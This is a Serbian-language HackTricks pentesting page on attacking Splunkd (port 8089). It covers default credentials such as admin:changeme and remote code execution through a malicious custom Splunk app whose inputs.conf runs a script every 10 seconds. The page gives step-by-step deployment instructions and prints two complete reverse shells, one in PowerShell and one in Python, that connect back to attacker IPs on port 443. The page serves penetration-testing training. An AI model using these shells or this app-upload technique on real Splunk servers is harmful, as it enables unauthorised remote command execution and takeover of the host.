4.2 KiB
8089 - Pentesting Splunkd
{{#include ../banners/hacktricks-training.md}}
Osnovne Informacije
- Alat za analizu logova koji se koristi za prikupljanje podataka, analizu i vizualizaciju
- Često se koristi u bezbednosnom nadzoru i poslovnoj analitici
- Podrazumevani portovi:
- Web server: 8000
- Splunkd usluga: 8089
Vektori Ranljivosti:
- Iskorišćavanje Besplatne Verzije
- Probna verzija se automatski pretvara u besplatnu verziju nakon 60 dana
- Besplatna verzija nema autentifikaciju
- Potencijalni bezbednosni rizik ako se ne upravlja
- Administratori mogu zanemariti bezbednosne implikacije
- Slabosti Akreditiva
- Starije verzije: Podrazumevani akreditivi
admin:changeme
- Novije verzije: Akreditivi postavljeni tokom instalacije
- Potencijal za korišćenje slabih lozinki (npr.,
admin
,Welcome
,Password123
)
- Mogućnosti Daljinskog Izvršavanja Koda
- Više metoda izvršavanja koda:
- Server-side Django aplikacije
- REST endpointi
- Skriptovani unosi
- Skripte za upozorenje
- Podrška za više platformi (Windows/Linux)
- Skriptovani unosi mogu da se izvršavaju:
- Bash skripte
- PowerShell skripte
- Batch skripte
Ključni Potencijal Iskorišćavanja:
- Skladištenje osetljivih podataka
- Nedostatak autentifikacije u besplatnoj verziji
- Više vektora za potencijalno daljinsko izvršavanje koda
- Mogućnost korišćenja skriptovanih unosa za kompromitovanje sistema
Shodan
Splunk build
RCE
Kreirajte Prilagođenu Aplikaciju
Splunk nudi sofisticiranu metodu za daljinsko izvršavanje koda kroz implementaciju prilagođene aplikacije, koristeći svoje mogućnosti skriptovanja na više platformi. Osnovna tehnika iskorišćavanja se vrti oko kreiranja zlonamerne aplikacije koja može izvršavati reverzne shelove na Windows i Linux sistemima.
Prilagođena aplikacija može da izvršava Python, Batch, Bash ili PowerShell skripte. Štaviše, Splunk dolazi sa instaliranim Python-om, tako da čak i na Windows sistemima možete izvršavati python kod.
Možete koristiti ovaj primer sa bin
koji sadrži primer za Python i PowerShell. Ili možete kreirati svoj.
Proces iskorišćavanja prati doslednu metodologiju širom platformi:
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
Kritična konfiguraciona datoteka inputs.conf
omogućava skriptu na sledeći način:
- Postavljanjem
disabled = 0
- Konfigurišući interval izvršenja od 10 sekundi
- Definišući tip izvora skripte
Implementacija je jednostavna:
- Kreirajte paket zlonamerne aplikacije
- Postavite slušalicu (Netcat/socat) na napadačkom računaru
- Otpremite aplikaciju putem Splunk-ovog interfejsa
- Pokrenite automatsko izvršavanje skripte prilikom otpremanja
Primer Windows PowerShell reverz shell-a:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Primer Linux Python reverz shell-a:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
Na sledećoj stranici možete pronaći objašnjenje kako se ova usluga može zloupotrebiti za eskalaciju privilegija i dobijanje postojanosti:
{{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}}
References
{{#include ../banners/hacktricks-training.md}}